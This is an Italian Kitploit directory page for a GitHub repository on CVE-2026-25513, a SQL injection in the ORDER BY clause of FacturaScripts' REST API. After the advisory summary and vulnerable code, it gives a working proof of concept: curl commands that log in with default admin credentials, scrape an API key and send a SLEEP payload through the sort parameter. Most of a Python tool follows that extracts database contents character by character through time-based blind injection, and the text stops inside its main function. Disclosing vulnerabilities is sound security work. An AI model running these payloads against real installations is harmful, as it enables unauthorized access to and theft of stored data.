Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts presenta una SQL injection nella clausola ORDER BY dell'API | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2026-25513
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts presenta una SQL injection nella clausola ORDER BY dell'API

Vedi Repository
45 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25513: FacturaScripts ha un'SQL Injection nella clausola ORDER BY dell'API

Panoramica

CampoDettagli
ID CVECVE-2026-25513
GravitàALTA
AdvisoryVisualizza Advisory
Scoperto daLukasz Rybak

Prodotti Interessati

  • facturascripts/facturascripts (versioni: < 2025.81)

Classificazione CWE

  • CWE-20: Convalida non corretta dell'input (Improper Input Validation)
  • CWE-89: Neutralizzazione non corretta degli elementi speciali utilizzati in un comando SQL ('SQL Injection')
  • CWE-943: Neutralizzazione non corretta degli elementi speciali nella logica delle query sui dati
  • CWE-1286: Convalida non corretta della correttezza sintattica dell'input

Dettagli

Riepilogo

FacturaScripts contiene una vulnerabilità critica di SQL injection nell'API REST che consente agli utenti API autenticati di eseguire query SQL arbitrarie tramite il parametro sort. La vulnerabilità esiste nel metodo ModelClass::getOrderBy() in cui i parametri di ordinamento forniti dall'utente vengono concatenati direttamente nella clausola ORDER BY di SQL senza convalida o sanitizzazione. Questo interessa tutti gli endpoint API che supportano la funzionalità di ordinamento.


Dettagli

L'API REST di FacturaScripts espone i modelli del database tramite vari endpoint (ad es. /api/3/users, /api/3/attachedfiles, /api/3/customers). Questi endpoint supportano un parametro sort che consente ai client di specificare l'ordinamento dei risultati. L'API elabora questo parametro tramite il metodo ModelClass::all(), che chiama la funzione vulnerabile getOrderBy().

Posizioni del Codice Vulnerabile

1. Modelli Legacy: File: /Core/Model/Base/ModelClass.php Metodo: getOrderBy() Concatenazione diretta di chiavi e valori dall'array $order.

2. Modelli Moderni (DbQuery): File: /Core/DbQuery.php Metodo: orderBy() Righe: 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Questo controllo ha lo scopo di consentire le funzioni SQL ma non le valida, permettendo un'SQL injection arbitraria.


Prova di Concetto (PoC)

Prerequisiti

  • Token di autenticazione API valido (header X-Auth-Token)
  • Accesso agli endpoint API di FacturaScripts

Verifica Passo-Passo (CLI)

Poiché FacturaScripts richiede una chiave API esistente, prima accediamo tramite l'interfaccia web per trovare una chiave valida.

1. Accesso e recupero di una chiave API valida: Gestiamo il token CSRF e i cookie di sessione per accedere alle impostazioni e recuperare la prima chiave disponibile.

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verifica dell'SQL Injection basata sul tempo: Utilizzare la API_KEY estratta nell'header X-Auth-Token.

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Risultato Atteso: La richiesta iniettata impiegherà notevolmente più tempo (il ritardo dipende dai record del database), confermando l'SQL injection.


Strumento di Sfruttamento Automatico

Questo script accede automaticamente a FacturaScripts, recupera una chiave API valida ed esegue l'estrazione di dati con distinzione tra maiuscole e minuscole utilizzando l'SQL injection cieca basata sul tempo.

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")
Scarica lo strumento